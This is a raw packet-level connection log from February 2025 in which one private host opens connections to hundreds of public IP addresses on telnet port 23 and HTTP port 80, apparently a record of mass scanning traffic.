Feb 4, 2025 18:17:41.445476055 CET	47076	23	192.168.2.23	141.73.159.30
Feb 4, 2025 18:17:41.445481062 CET	23	47076	140.112.245.36	192.168.2.23
Feb 4, 2025 18:17:41.445482016 CET	47076	23	192.168.2.23	174.67.70.85
Feb 4, 2025 18:17:41.445491076 CET	23	47076	87.248.49.47	192.168.2.23
Feb 4, 2025 18:17:41.445494890 CET	23	47076	199.24.132.13	192.168.2.23
Feb 4, 2025 18:17:41.445498943 CET	23	47076	48.198.161.70	192.168.2.23
Feb 4, 2025 18:17:41.445502043 CET	47076	23	192.168.2.23	156.192.142.155
Feb 4, 2025 18:17:41.445502996 CET	23	47076	154.190.219.128	192.168.2.23
Feb 4, 2025 18:17:41.445503950 CET	47076	23	192.168.2.23	111.202.50.14
Feb 4, 2025 18:17:41.445503950 CET	47076	23	192.168.2.23	72.22.78.201
Feb 4, 2025 18:17:41.445506096 CET	47076	23	192.168.2.23	80.86.32.209
Feb 4, 2025 18:17:41.445506096 CET	47076	23	192.168.2.23	18.49.163.61
Feb 4, 2025 18:17:41.445506096 CET	47076	23	192.168.2.23	170.71.134.80
Feb 4, 2025 18:17:41.445511103 CET	47076	23	192.168.2.23	140.112.245.36
Feb 4, 2025 18:17:41.445511103 CET	47076	23	192.168.2.23	187.60.121.195
Feb 4, 2025 18:17:41.445513010 CET	23	47076	182.39.97.110	192.168.2.23
Feb 4, 2025 18:17:41.445518017 CET	47076	23	192.168.2.23	121.68.159.59
Feb 4, 2025 18:17:41.445521116 CET	47076	23	192.168.2.23	87.248.49.47
Feb 4, 2025 18:17:41.445521116 CET	47076	23	192.168.2.23	48.198.161.70
Feb 4, 2025 18:17:41.445523977 CET	47076	23	192.168.2.23	37.229.202.112
Feb 4, 2025 18:17:41.445518017 CET	47076	23	192.168.2.23	199.24.132.13
Feb 4, 2025 18:17:41.445523977 CET	47076	23	192.168.2.23	80.209.125.140
Feb 4, 2025 18:17:41.445533037 CET	47076	23	192.168.2.23	154.190.219.128
Feb 4, 2025 18:17:41.445544004 CET	47076	23	192.168.2.23	182.39.97.110
Feb 4, 2025 18:17:41.452856064 CET	46308	80	192.168.2.23	191.16.46.90
Feb 4, 2025 18:17:41.452863932 CET	46308	80	192.168.2.23	126.67.100.49
Feb 4, 2025 18:17:41.452864885 CET	46308	80	192.168.2.23	37.136.167.149
Feb 4, 2025 18:17:41.452878952 CET	46308	80	192.168.2.23	158.14.131.10
Feb 4, 2025 18:17:41.452878952 CET	46308	80	192.168.2.23	111.4.31.91
Feb 4, 2025 18:17:41.452889919 CET	46308	80	192.168.2.23	119.154.117.117
Feb 4, 2025 18:17:41.452889919 CET	46308	80	192.168.2.23	146.59.117.70
Feb 4, 2025 18:17:41.452889919 CET	46308	80	192.168.2.23	106.247.87.180
Feb 4, 2025 18:17:41.452889919 CET	46308	80	192.168.2.23	71.167.191.206
Feb 4, 2025 18:17:41.452889919 CET	46308	80	192.168.2.23	148.11.69.244
Feb 4, 2025 18:17:41.452898979 CET	46308	80	192.168.2.23	144.175.42.6
Feb 4, 2025 18:17:41.452899933 CET	46308	80	192.168.2.23	197.93.47.186
Feb 4, 2025 18:17:41.452902079 CET	46308	80	192.168.2.23	176.7.29.176
Feb 4, 2025 18:17:41.452902079 CET	46308	80	192.168.2.23	134.144.115.255
Feb 4, 2025 18:17:41.452904940 CET	46308	80	192.168.2.23	63.124.118.199
Feb 4, 2025 18:17:41.452908993 CET	46308	80	192.168.2.23	34.97.197.180
Feb 4, 2025 18:17:41.452919960 CET	46308	80	192.168.2.23	155.195.20.61
Feb 4, 2025 18:17:41.452919960 CET	46308	80	192.168.2.23	46.181.97.134
Feb 4, 2025 18:17:41.452923059 CET	46308	80	192.168.2.23	19.166.143.222
Feb 4, 2025 18:17:41.452927113 CET	46308	80	192.168.2.23	151.9.82.193
Feb 4, 2025 18:17:41.452927113 CET	46308	80	192.168.2.23	180.190.193.242
Feb 4, 2025 18:17:41.452927113 CET	46308	80	192.168.2.23	135.31.132.178
Feb 4, 2025 18:17:41.452929020 CET	46308	80	192.168.2.23	83.92.33.97
Feb 4, 2025 18:17:41.452929020 CET	46308	80	192.168.2.23	117.177.179.3
Feb 4, 2025 18:17:41.452934027 CET	46308	80	192.168.2.23	180.122.135.68
Feb 4, 2025 18:17:41.452941895 CET	46308	80	192.168.2.23	147.41.126.73
Feb 4, 2025 18:17:41.452946901 CET	46308	80	192.168.2.23	104.105.24.113
Feb 4, 2025 18:17:41.452950954 CET	46308	80	192.168.2.23	48.203.63.238
Feb 4, 2025 18:17:41.452960968 CET	46308	80	192.168.2.23	66.40.116.253
Feb 4, 2025 18:17:41.452960968 CET	46308	80	192.168.2.23	174.182.147.255
Feb 4, 2025 18:17:41.452975988 CET	46308	80	192.168.2.23	205.101.194.242
Feb 4, 2025 18:17:41.452980042 CET	46308	80	192.168.2.23	188.173.10.183
Feb 4, 2025 18:17:41.452980995 CET	46308	80	192.168.2.23	9.252.134.59
Feb 4, 2025 18:17:41.452980995 CET	46308	80	192.168.2.23	158.251.92.186
Feb 4, 2025 18:17:41.452982903 CET	46308	80	192.168.2.23	155.92.229.202
Feb 4, 2025 18:17:41.452982903 CET	46308	80	192.168.2.23	93.205.161.44
Feb 4, 2025 18:17:41.452986002 CET	46308	80	192.168.2.23	185.59.63.118
Feb 4, 2025 18:17:41.452986002 CET	46308	80	192.168.2.23	217.25.162.231
Feb 4, 2025 18:17:41.452986002 CET	46308	80	192.168.2.23	131.151.211.116
Feb 4, 2025 18:17:41.452997923 CET	46308	80	192.168.2.23	175.0.40.86
Feb 4, 2025 18:17:41.452999115 CET	46308	80	192.168.2.23	176.62.55.242
Feb 4, 2025 18:17:41.452997923 CET	46308	80	192.168.2.23	4.64.16.186
Feb 4, 2025 18:17:41.452997923 CET	46308	80	192.168.2.23	155.174.247.47
Feb 4, 2025 18:17:41.452999115 CET	46308	80	192.168.2.23	111.79.105.148
Feb 4, 2025 18:17:41.452999115 CET	46308	80	192.168.2.23	96.32.74.248
Feb 4, 2025 18:17:41.453003883 CET	46308	80	192.168.2.23	79.11.141.131
Feb 4, 2025 18:17:41.453006029 CET	46308	80	192.168.2.23	37.100.89.243
Feb 4, 2025 18:17:41.453006029 CET	46308	80	192.168.2.23	119.71.24.212
Feb 4, 2025 18:17:41.453006983 CET	46308	80	192.168.2.23	163.125.226.117
Feb 4, 2025 18:17:41.453017950 CET	46308	80	192.168.2.23	25.238.227.5
Feb 4, 2025 18:17:41.453022003 CET	46308	80	192.168.2.23	77.72.197.192
Feb 4, 2025 18:17:41.453026056 CET	46308	80	192.168.2.23	66.53.143.11
Feb 4, 2025 18:17:41.453027010 CET	46308	80	192.168.2.23	177.188.230.51
Feb 4, 2025 18:17:41.453023911 CET	46308	80	192.168.2.23	101.166.186.237
Feb 4, 2025 18:17:41.453052998 CET	46308	80	192.168.2.23	153.207.25.131
Feb 4, 2025 18:17:41.453052998 CET	46308	80	192.168.2.23	191.40.46.224
Feb 4, 2025 18:17:41.453053951 CET	46308	80	192.168.2.23	68.81.0.135
Feb 4, 2025 18:17:41.453052998 CET	46308	80	192.168.2.23	36.170.207.132
Feb 4, 2025 18:17:41.453054905 CET	46308	80	192.168.2.23	50.224.202.249
Feb 4, 2025 18:17:41.453056097 CET	46308	80	192.168.2.23	175.186.239.247
Feb 4, 2025 18:17:41.453058004 CET	46308	80	192.168.2.23	65.71.53.214
Feb 4, 2025 18:17:41.453058004 CET	46308	80	192.168.2.23	42.64.201.87
Feb 4, 2025 18:17:41.453059912 CET	46308	80	192.168.2.23	184.12.17.4
Feb 4, 2025 18:17:41.453059912 CET	46308	80	192.168.2.23	190.74.99.35
Feb 4, 2025 18:17:41.453059912 CET	46308	80	192.168.2.23	120.164.10.193
Feb 4, 2025 18:17:41.453059912 CET	46308	80	192.168.2.23	196.218.157.40
Feb 4, 2025 18:17:41.453059912 CET	46308	80	192.168.2.23	34.2.126.130
Feb 4, 2025 18:17:41.453062057 CET	46308	80	192.168.2.23	155.54.147.199
Feb 4, 2025 18:17:41.453059912 CET	46308	80	192.168.2.23	180.245.18.217
Feb 4, 2025 18:17:41.453069925 CET	46308	80	192.168.2.23	153.141.179.158
Feb 4, 2025 18:17:41.453071117 CET	46308	80	192.168.2.23	118.252.157.74
Feb 4, 2025 18:17:41.453088045 CET	46308	80	192.168.2.23	115.154.23.13
Feb 4, 2025 18:17:41.453093052 CET	46308	80	192.168.2.23	213.54.225.186
Feb 4, 2025 18:17:41.453093052 CET	46308	80	192.168.2.23	161.36.248.103
Feb 4, 2025 18:17:41.453098059 CET	46308	80	192.168.2.23	158.64.105.21
Feb 4, 2025 18:17:41.453109980 CET	46308	80	192.168.2.23	166.121.36.39
Feb 4, 2025 18:17:41.453109980 CET	46308	80	192.168.2.23	39.57.12.79
Feb 4, 2025 18:17:41.453110933 CET	46308	80	192.168.2.23	82.176.219.65
Feb 4, 2025 18:17:41.453110933 CET	46308	80	192.168.2.23	183.175.134.128
Feb 4, 2025 18:17:41.453120947 CET	46308	80	192.168.2.23	223.114.219.170
Feb 4, 2025 18:17:41.453129053 CET	46308	80	192.168.2.23	159.142.247.105
Feb 4, 2025 18:17:41.453125000 CET	46308	80	192.168.2.23	203.89.38.47
Feb 4, 2025 18:17:41.453133106 CET	46308	80	192.168.2.23	102.76.157.83
Feb 4, 2025 18:17:41.453133106 CET	46308	80	192.168.2.23	174.28.15.77
Feb 4, 2025 18:17:41.453138113 CET	46308	80	192.168.2.23	80.222.250.104
Feb 4, 2025 18:17:41.453141928 CET	46308	80	192.168.2.23	79.218.70.150
Feb 4, 2025 18:17:41.453141928 CET	46308	80	192.168.2.23	92.228.5.104
Feb 4, 2025 18:17:41.453142881 CET	46308	80	192.168.2.23	158.37.71.35
Feb 4, 2025 18:17:41.453154087 CET	46308	80	192.168.2.23	41.4.159.196
Feb 4, 2025 18:17:41.453154087 CET	46308	80	192.168.2.23	67.87.190.47
Feb 4, 2025 18:17:41.453154087 CET	46308	80	192.168.2.23	113.24.38.26
Feb 4, 2025 18:17:41.453155994 CET	46308	80	192.168.2.23	92.237.169.13
Feb 4, 2025 18:17:41.453155994 CET	46308	80	192.168.2.23	184.227.57.166
Feb 4, 2025 18:17:41.453171015 CET	46308	80	192.168.2.23	174.160.171.13
Feb 4, 2025 18:17:41.453171968 CET	46308	80	192.168.2.23	139.74.244.187
Feb 4, 2025 18:17:41.453171968 CET	46308	80	192.168.2.23	118.61.73.234
Feb 4, 2025 18:17:41.453171015 CET	46308	80	192.168.2.23	124.237.122.167
Feb 4, 2025 18:17:41.453171015 CET	46308	80	192.168.2.23	198.138.236.217
Feb 4, 2025 18:17:41.453177929 CET	46308	80	192.168.2.23	77.170.37.141
Feb 4, 2025 18:17:41.453177929 CET	46308	80	192.168.2.23	206.48.216.166
Feb 4, 2025 18:17:41.453178883 CET	46308	80	192.168.2.23	23.193.228.118
Feb 4, 2025 18:17:41.453181982 CET	46308	80	192.168.2.23	99.214.131.253
Feb 4, 2025 18:17:41.453205109 CET	46308	80	192.168.2.23	178.39.83.156
Feb 4, 2025 18:17:41.453206062 CET	46308	80	192.168.2.23	108.171.13.40
Feb 4, 2025 18:17:41.453205109 CET	46308	80	192.168.2.23	160.163.252.216
Feb 4, 2025 18:17:41.453206062 CET	46308	80	192.168.2.23	25.117.246.228
Feb 4, 2025 18:17:41.453206062 CET	46308	80	192.168.2.23	187.188.122.1
Feb 4, 2025 18:17:41.453219891 CET	46308	80	192.168.2.23	169.180.95.90
Feb 4, 2025 18:17:41.453219891 CET	46308	80	192.168.2.23	200.37.44.58
Feb 4, 2025 18:17:41.453222990 CET	46308	80	192.168.2.23	87.73.35.126
Feb 4, 2025 18:17:41.453222990 CET	46308	80	192.168.2.23	143.7.160.77
Feb 4, 2025 18:17:41.453238964 CET	46308	80	192.168.2.23	161.191.200.31
Feb 4, 2025 18:17:41.453238964 CET	46308	80	192.168.2.23	86.50.134.151
Feb 4, 2025 18:17:41.453246117 CET	46308	80	192.168.2.23	157.46.238.61
Feb 4, 2025 18:17:41.453248024 CET	46308	80	192.168.2.23	75.232.107.119
Feb 4, 2025 18:17:41.453248978 CET	46308	80	192.168.2.23	38.247.33.45
Feb 4, 2025 18:17:41.453248978 CET	46308	80	192.168.2.23	188.178.12.173
Feb 4, 2025 18:17:41.453248978 CET	46308	80	192.168.2.23	42.77.15.121
Feb 4, 2025 18:17:41.453255892 CET	46308	80	192.168.2.23	125.142.252.9
Feb 4, 2025 18:17:41.453269958 CET	46308	80	192.168.2.23	68.155.70.33
Feb 4, 2025 18:17:41.453270912 CET	46308	80	192.168.2.23	194.200.115.226
Feb 4, 2025 18:17:41.453273058 CET	46308	80	192.168.2.23	141.36.192.13
Feb 4, 2025 18:17:41.453273058 CET	46308	80	192.168.2.23	117.191.98.235
Feb 4, 2025 18:17:41.453278065 CET	46308	80	192.168.2.23	182.110.125.216
Feb 4, 2025 18:17:41.453285933 CET	46308	80	192.168.2.23	137.69.226.181
Feb 4, 2025 18:17:41.453289032 CET	46308	80	192.168.2.23	42.80.252.88
Feb 4, 2025 18:17:41.453305006 CET	46308	80	192.168.2.23	186.98.73.182
Feb 4, 2025 18:17:41.453305006 CET	46308	80	192.168.2.23	50.129.163.128
Feb 4, 2025 18:17:41.453305006 CET	46308	80	192.168.2.23	217.52.19.139
Feb 4, 2025 18:17:41.453306913 CET	46308	80	192.168.2.23	221.45.117.1
Feb 4, 2025 18:17:41.453310966 CET	46308	80	192.168.2.23	75.78.156.66
Feb 4, 2025 18:17:41.453315020 CET	46308	80	192.168.2.23	37.37.210.216
Feb 4, 2025 18:17:41.453325033 CET	46308	80	192.168.2.23	129.127.81.39
Feb 4, 2025 18:17:41.453327894 CET	46308	80	192.168.2.23	125.204.30.218
Feb 4, 2025 18:17:41.453327894 CET	46308	80	192.168.2.23	141.155.63.181
Feb 4, 2025 18:17:41.453327894 CET	46308	80	192.168.2.23	54.167.168.211
Feb 4, 2025 18:17:41.453334093 CET	46308	80	192.168.2.23	54.236.209.117
Feb 4, 2025 18:17:41.453340054 CET	46308	80	192.168.2.23	14.189.123.108
Feb 4, 2025 18:17:41.453341961 CET	46308	80	192.168.2.23	133.156.84.104
Feb 4, 2025 18:17:41.453353882 CET	46308	80	192.168.2.23	186.152.235.71
Feb 4, 2025 18:17:41.453355074 CET	46308	80	192.168.2.23	219.182.199.228
Feb 4, 2025 18:17:41.453353882 CET	46308	80	192.168.2.23	187.3.247.91
Feb 4, 2025 18:17:41.453353882 CET	46308	80	192.168.2.23	45.88.131.47
Feb 4, 2025 18:17:41.453366995 CET	46308	80	192.168.2.23	13.35.113.71
Feb 4, 2025 18:17:41.453366995 CET	46308	80	192.168.2.23	91.131.87.6
Feb 4, 2025 18:17:41.453370094 CET	46308	80	192.168.2.23	35.180.109.159
Feb 4, 2025 18:17:41.453377008 CET	46308	80	192.168.2.23	1.217.30.127
Feb 4, 2025 18:17:41.453382015 CET	46308	80	192.168.2.23	181.178.18.180
Feb 4, 2025 18:17:41.453387022 CET	46308	80	192.168.2.23	81.183.68.241
Feb 4, 2025 18:17:41.453387022 CET	46308	80	192.168.2.23	35.154.38.126
Feb 4, 2025 18:17:41.453387976 CET	46308	80	192.168.2.23	185.18.223.196
Feb 4, 2025 18:17:41.453402042 CET	46308	80	192.168.2.23	178.192.25.222
Feb 4, 2025 18:17:41.453402996 CET	46308	80	192.168.2.23	144.175.236.174
Feb 4, 2025 18:17:41.453404903 CET	46308	80	192.168.2.23	18.168.179.204
Feb 4, 2025 18:17:41.453404903 CET	46308	80	192.168.2.23	84.172.51.86
Feb 4, 2025 18:17:41.453403950 CET	46308	80	192.168.2.23	186.218.98.5
Feb 4, 2025 18:17:41.453404903 CET	46308	80	192.168.2.23	65.153.58.31
Feb 4, 2025 18:17:41.453411102 CET	46308	80	192.168.2.23	177.131.168.176
Feb 4, 2025 18:17:41.453413010 CET	46308	80	192.168.2.23	14.196.195.138
Feb 4, 2025 18:17:41.453425884 CET	46308	80	192.168.2.23	32.58.176.188
Feb 4, 2025 18:17:41.453433990 CET	46308	80	192.168.2.23	175.27.89.10
Feb 4, 2025 18:17:41.453442097 CET	46308	80	192.168.2.23	176.39.218.38
Feb 4, 2025 18:17:41.453445911 CET	46308	80	192.168.2.23	197.162.104.41
Feb 4, 2025 18:17:41.453445911 CET	46308	80	192.168.2.23	36.93.110.198
Feb 4, 2025 18:17:41.453454971 CET	46308	80	192.168.2.23	18.166.215.164
Feb 4, 2025 18:17:41.453455925 CET	46308	80	192.168.2.23	27.17.17.135
Feb 4, 2025 18:17:41.453464985 CET	46308	80	192.168.2.23	17.111.8.51
Feb 4, 2025 18:17:41.453464985 CET	46308	80	192.168.2.23	207.19.8.79
Feb 4, 2025 18:17:41.453464985 CET	46308	80	192.168.2.23	166.247.120.117
Feb 4, 2025 18:17:41.453464985 CET	46308	80	192.168.2.23	87.181.49.152
Feb 4, 2025 18:17:41.453489065 CET	46308	80	192.168.2.23	48.196.254.69
Feb 4, 2025 18:17:41.453489065 CET	46308	80	192.168.2.23	167.243.96.92
Feb 4, 2025 18:17:41.453489065 CET	46308	80	192.168.2.23	90.172.135.129
Feb 4, 2025 18:17:41.453489065 CET	46308	80	192.168.2.23	152.210.90.156
Feb 4, 2025 18:17:41.453491926 CET	46308	80	192.168.2.23	166.181.213.75
Feb 4, 2025 18:17:41.453495979 CET	46308	80	192.168.2.23	101.175.21.59
Feb 4, 2025 18:17:41.453495979 CET	46308	80	192.168.2.23	189.159.122.81
Feb 4, 2025 18:17:41.453506947 CET	46308	80	192.168.2.23	71.131.7.61
Feb 4, 2025 18:17:41.453512907 CET	46308	80	192.168.2.23	17.66.214.44
Feb 4, 2025 18:17:41.453521967 CET	46308	80	192.168.2.23	79.159.151.11
Feb 4, 2025 18:17:41.453526974 CET	46308	80	192.168.2.23	47.96.134.85
Feb 4, 2025 18:17:41.453526974 CET	46308	80	192.168.2.23	80.118.13.48
Feb 4, 2025 18:17:41.453536987 CET	46308	80	192.168.2.23	81.76.99.161
Feb 4, 2025 18:17:41.453536987 CET	46308	80	192.168.2.23	98.54.181.203
Feb 4, 2025 18:17:41.453542948 CET	46308	80	192.168.2.23	146.64.155.125
Feb 4, 2025 18:17:41.453545094 CET	46308	80	192.168.2.23	32.155.159.178
Feb 4, 2025 18:17:41.453545094 CET	46308	80	192.168.2.23	99.120.222.52
Feb 4, 2025 18:17:41.453546047 CET	46308	80	192.168.2.23	155.9.36.239
Feb 4, 2025 18:17:41.453547001 CET	46308	80	192.168.2.23	24.73.8.194
Feb 4, 2025 18:17:41.453562975 CET	46308	80	192.168.2.23	85.61.95.26
Feb 4, 2025 18:17:41.453576088 CET	46308	80	192.168.2.23	137.90.24.137
Feb 4, 2025 18:17:41.453582048 CET	46308	80	192.168.2.23	39.50.129.182
Feb 4, 2025 18:17:41.453583002 CET	46308	80	192.168.2.23	101.145.25.23
Feb 4, 2025 18:17:41.453583956 CET	46308	80	192.168.2.23	191.238.165.18
Feb 4, 2025 18:17:41.453583956 CET	46308	80	192.168.2.23	212.125.185.116
Feb 4, 2025 18:17:41.453583956 CET	46308	80	192.168.2.23	141.9.168.239
Feb 4, 2025 18:17:41.453586102 CET	46308	80	192.168.2.23	78.130.109.195
Feb 4, 2025 18:17:41.453594923 CET	46308	80	192.168.2.23	119.220.169.28
Feb 4, 2025 18:17:41.453605890 CET	46308	80	192.168.2.23	191.45.127.55
Feb 4, 2025 18:17:41.453609943 CET	46308	80	192.168.2.23	131.253.185.239
Feb 4, 2025 18:17:41.453610897 CET	46308	80	192.168.2.23	88.4.254.69
Feb 4, 2025 18:17:41.453609943 CET	46308	80	192.168.2.23	59.160.117.238
Feb 4, 2025 18:17:41.453610897 CET	46308	80	192.168.2.23	140.188.234.68
Feb 4, 2025 18:17:41.453610897 CET	46308	80	192.168.2.23	137.79.124.40
Feb 4, 2025 18:17:41.453620911 CET	46308	80	192.168.2.23	108.48.149.187
Feb 4, 2025 18:17:41.453620911 CET	46308	80	192.168.2.23	122.213.186.71
Feb 4, 2025 18:17:41.453634977 CET	46308	80	192.168.2.23	4.53.24.221
Feb 4, 2025 18:17:41.453635931 CET	46308	80	192.168.2.23	206.171.34.54
Feb 4, 2025 18:17:41.453635931 CET	46308	80	192.168.2.23	166.28.69.212
Feb 4, 2025 18:17:41.453635931 CET	46308	80	192.168.2.23	100.207.103.168
Feb 4, 2025 18:17:41.453639030 CET	46308	80	192.168.2.23	165.171.238.152
Feb 4, 2025 18:17:41.453639030 CET	46308	80	192.168.2.23	106.42.157.180
Feb 4, 2025 18:17:41.453639030 CET	46308	80	192.168.2.23	173.132.204.95
Feb 4, 2025 18:17:41.453650951 CET	46308	80	192.168.2.23	139.209.211.184
Feb 4, 2025 18:17:41.453658104 CET	46308	80	192.168.2.23	118.82.235.50
Feb 4, 2025 18:17:41.453660965 CET	46308	80	192.168.2.23	220.224.148.76
Feb 4, 2025 18:17:41.453661919 CET	46308	80	192.168.2.23	74.92.46.187
Feb 4, 2025 18:17:41.453664064 CET	46308	80	192.168.2.23	113.129.116.16
Feb 4, 2025 18:17:41.453676939 CET	46308	80	192.168.2.23	136.154.0.79
Feb 4, 2025 18:17:41.453682899 CET	46308	80	192.168.2.23	159.129.4.52
Feb 4, 2025 18:17:41.453686953 CET	46308	80	192.168.2.23	122.102.137.168
Feb 4, 2025 18:17:41.453686953 CET	46308	80	192.168.2.23	169.62.229.143
Feb 4, 2025 18:17:41.453687906 CET	46308	80	192.168.2.23	25.84.158.135
Feb 4, 2025 18:17:41.453687906 CET	46308	80	192.168.2.23	32.243.26.179
Feb 4, 2025 18:17:41.453690052 CET	46308	80	192.168.2.23	136.235.111.160
Feb 4, 2025 18:17:41.453690052 CET	46308	80	192.168.2.23	107.149.93.172
Feb 4, 2025 18:17:41.453690052 CET	46308	80	192.168.2.23	60.138.233.185
Feb 4, 2025 18:17:41.453697920 CET	46308	80	192.168.2.23	41.30.233.40
Feb 4, 2025 18:17:41.453700066 CET	46308	80	192.168.2.23	177.30.170.66
Feb 4, 2025 18:17:41.453700066 CET	46308	80	192.168.2.23	62.158.253.19
Feb 4, 2025 18:17:41.453707933 CET	46308	80	192.168.2.23	58.232.120.177
Feb 4, 2025 18:17:41.453727007 CET	46308	80	192.168.2.23	212.15.82.58
Feb 4, 2025 18:17:41.453733921 CET	46308	80	192.168.2.23	52.127.141.57
Feb 4, 2025 18:17:41.453733921 CET	46308	80	192.168.2.23	89.66.239.55
Feb 4, 2025 18:17:41.453735113 CET	46308	80	192.168.2.23	189.4.162.248
Feb 4, 2025 18:17:41.453736067 CET	46308	80	192.168.2.23	45.165.17.106
Feb 4, 2025 18:17:41.453735113 CET	46308	80	192.168.2.23	64.148.203.113
Feb 4, 2025 18:17:41.453737020 CET	46308	80	192.168.2.23	181.42.239.44
Feb 4, 2025 18:17:41.453738928 CET	46308	80	192.168.2.23	155.36.140.186
Feb 4, 2025 18:17:41.453739882 CET	46308	80	192.168.2.23	161.58.15.93
Feb 4, 2025 18:17:41.453743935 CET	46308	80	192.168.2.23	154.218.180.243
Feb 4, 2025 18:17:41.453743935 CET	46308	80	192.168.2.23	133.171.236.50
Feb 4, 2025 18:17:41.453751087 CET	46308	80	192.168.2.23	95.54.124.115
Feb 4, 2025 18:17:41.453752995 CET	46308	80	192.168.2.23	18.62.25.113
Feb 4, 2025 18:17:41.453763008 CET	46308	80	192.168.2.23	129.184.202.86
Feb 4, 2025 18:17:41.453763008 CET	46308	80	192.168.2.23	143.243.56.36
Feb 4, 2025 18:17:41.453774929 CET	46308	80	192.168.2.23	124.177.162.116
Feb 4, 2025 18:17:41.453774929 CET	46308	80	192.168.2.23	129.65.192.174
Feb 4, 2025 18:17:41.453778028 CET	46308	80	192.168.2.23	92.142.8.100
Feb 4, 2025 18:17:41.453792095 CET	46308	80	192.168.2.23	169.42.254.78
Feb 4, 2025 18:17:41.453794003 CET	46308	80	192.168.2.23	51.167.56.27
Feb 4, 2025 18:17:41.453800917 CET	46308	80	192.168.2.23	100.207.231.185
Feb 4, 2025 18:17:41.453802109 CET	46308	80	192.168.2.23	19.192.145.158
Feb 4, 2025 18:17:41.453807116 CET	46308	80	192.168.2.23	198.20.215.160
Feb 4, 2025 18:17:41.453814983 CET	46308	80	192.168.2.23	64.70.159.142
Feb 4, 2025 18:17:41.453816891 CET	46308	80	192.168.2.23	189.55.31.210
Feb 4, 2025 18:17:41.453816891 CET	46308	80	192.168.2.23	101.79.15.74
Feb 4, 2025 18:17:41.453816891 CET	46308	80	192.168.2.23	76.162.208.186
Feb 4, 2025 18:17:41.453818083 CET	46308	80	192.168.2.23	32.91.37.192
Feb 4, 2025 18:17:41.453816891 CET	46308	80	192.168.2.23	80.40.160.48
Feb 4, 2025 18:17:41.453818083 CET	46308	80	192.168.2.23	63.117.170.18
Feb 4, 2025 18:17:41.453816891 CET	46308	80	192.168.2.23	130.163.141.220
Feb 4, 2025 18:17:41.453816891 CET	46308	80	192.168.2.23	187.39.191.46
Feb 4, 2025 18:17:41.453819990 CET	46308	80	192.168.2.23	221.93.63.87
Feb 4, 2025 18:17:41.453826904 CET	46308	80	192.168.2.23	125.190.164.172
Feb 4, 2025 18:17:41.453826904 CET	46308	80	192.168.2.23	222.13.240.48
Feb 4, 2025 18:17:41.453826904 CET	46308	80	192.168.2.23	158.191.105.96
Feb 4, 2025 18:17:41.453828096 CET	46308	80	192.168.2.23	113.4.253.76
Feb 4, 2025 18:17:41.453828096 CET	46308	80	192.168.2.23	202.21.20.219
Feb 4, 2025 18:17:41.453831911 CET	46308	80	192.168.2.23	135.49.72.106
Feb 4, 2025 18:17:41.453844070 CET	46308	80	192.168.2.23	184.82.136.173
Feb 4, 2025 18:17:41.453850031 CET	46308	80	192.168.2.23	46.26.136.26
Feb 4, 2025 18:17:41.453850031 CET	46308	80	192.168.2.23	208.55.23.110
Feb 4, 2025 18:17:41.453855038 CET	46308	80	192.168.2.23	209.28.108.219
Feb 4, 2025 18:17:41.453856945 CET	46308	80	192.168.2.23	191.247.96.25
Feb 4, 2025 18:17:41.453859091 CET	46308	80	192.168.2.23	203.73.252.117
Feb 4, 2025 18:17:41.453871012 CET	46308	80	192.168.2.23	84.223.168.82
Feb 4, 2025 18:17:41.453871012 CET	46308	80	192.168.2.23	203.155.189.7
Feb 4, 2025 18:17:41.453871965 CET	46308	80	192.168.2.23	72.28.173.41
Feb 4, 2025 18:17:41.453874111 CET	46308	80	192.168.2.23	210.104.46.54
Feb 4, 2025 18:17:41.453885078 CET	46308	80	192.168.2.23	183.219.132.152
Feb 4, 2025 18:17:41.453891039 CET	46308	80	192.168.2.23	136.183.250.35
Feb 4, 2025 18:17:41.453892946 CET	46308	80	192.168.2.23	149.65.212.161
Feb 4, 2025 18:17:41.453892946 CET	46308	80	192.168.2.23	67.121.237.164
Feb 4, 2025 18:17:41.453892946 CET	46308	80	192.168.2.23	170.97.235.168
Feb 4, 2025 18:17:41.453897953 CET	46308	80	192.168.2.23	180.131.149.34
Feb 4, 2025 18:17:41.453897953 CET	46308	80	192.168.2.23	216.253.125.211
Feb 4, 2025 18:17:41.453908920 CET	46308	80	192.168.2.23	108.196.157.160
Feb 4, 2025 18:17:41.453908920 CET	46308	80	192.168.2.23	84.43.98.246
Feb 4, 2025 18:17:41.453916073 CET	46308	80	192.168.2.23	137.28.122.200
Feb 4, 2025 18:17:41.453917027 CET	46308	80	192.168.2.23	78.87.34.154
Feb 4, 2025 18:17:41.453932047 CET	46308	80	192.168.2.23	170.231.7.91
Feb 4, 2025 18:17:41.453933954 CET	46308	80	192.168.2.23	193.148.222.157
Feb 4, 2025 18:17:41.453936100 CET	46308	80	192.168.2.23	209.132.26.217
Feb 4, 2025 18:17:41.453939915 CET	46308	80	192.168.2.23	106.76.145.154
Feb 4, 2025 18:17:41.453941107 CET	46308	80	192.168.2.23	140.8.153.124
Feb 4, 2025 18:17:41.453948021 CET	46308	80	192.168.2.23	178.238.191.180
Feb 4, 2025 18:17:41.453948975 CET	46308	80	192.168.2.23	115.207.227.180
Feb 4, 2025 18:17:41.453955889 CET	46308	80	192.168.2.23	119.119.6.200
Feb 4, 2025 18:17:41.453955889 CET	46308	80	192.168.2.23	209.11.181.242
Feb 4, 2025 18:17:41.453969002 CET	46308	80	192.168.2.23	205.97.135.245
Feb 4, 2025 18:17:41.453988075 CET	46308	80	192.168.2.23	184.8.132.76
Feb 4, 2025 18:17:41.453989029 CET	46308	80	192.168.2.23	206.176.254.12
Feb 4, 2025 18:17:41.453989029 CET	46308	80	192.168.2.23	58.244.162.225
Feb 4, 2025 18:17:41.453989029 CET	46308	80	192.168.2.23	4.216.66.231
Feb 4, 2025 18:17:41.453989029 CET	46308	80	192.168.2.23	97.213.125.107
Feb 4, 2025 18:17:41.453993082 CET	46308	80	192.168.2.23	174.106.239.19
Feb 4, 2025 18:17:41.453994989 CET	46308	80	192.168.2.23	108.116.220.163
Feb 4, 2025 18:17:41.453994989 CET	46308	80	192.168.2.23	46.41.160.207
Feb 4, 2025 18:17:41.454008102 CET	46308	80	192.168.2.23	198.34.100.148
Feb 4, 2025 18:17:41.454010010 CET	46308	80	192.168.2.23	18.224.142.101
Feb 4, 2025 18:17:41.454011917 CET	46308	80	192.168.2.23	5.238.214.48
Feb 4, 2025 18:17:41.454011917 CET	46308	80	192.168.2.23	2.0.90.137
Feb 4, 2025 18:17:41.454013109 CET	46308	80	192.168.2.23	183.89.131.190
Feb 4, 2025 18:17:41.454014063 CET	46308	80	192.168.2.23	183.85.131.150
Feb 4, 2025 18:17:41.454015017 CET	46308	80	192.168.2.23	193.229.52.47
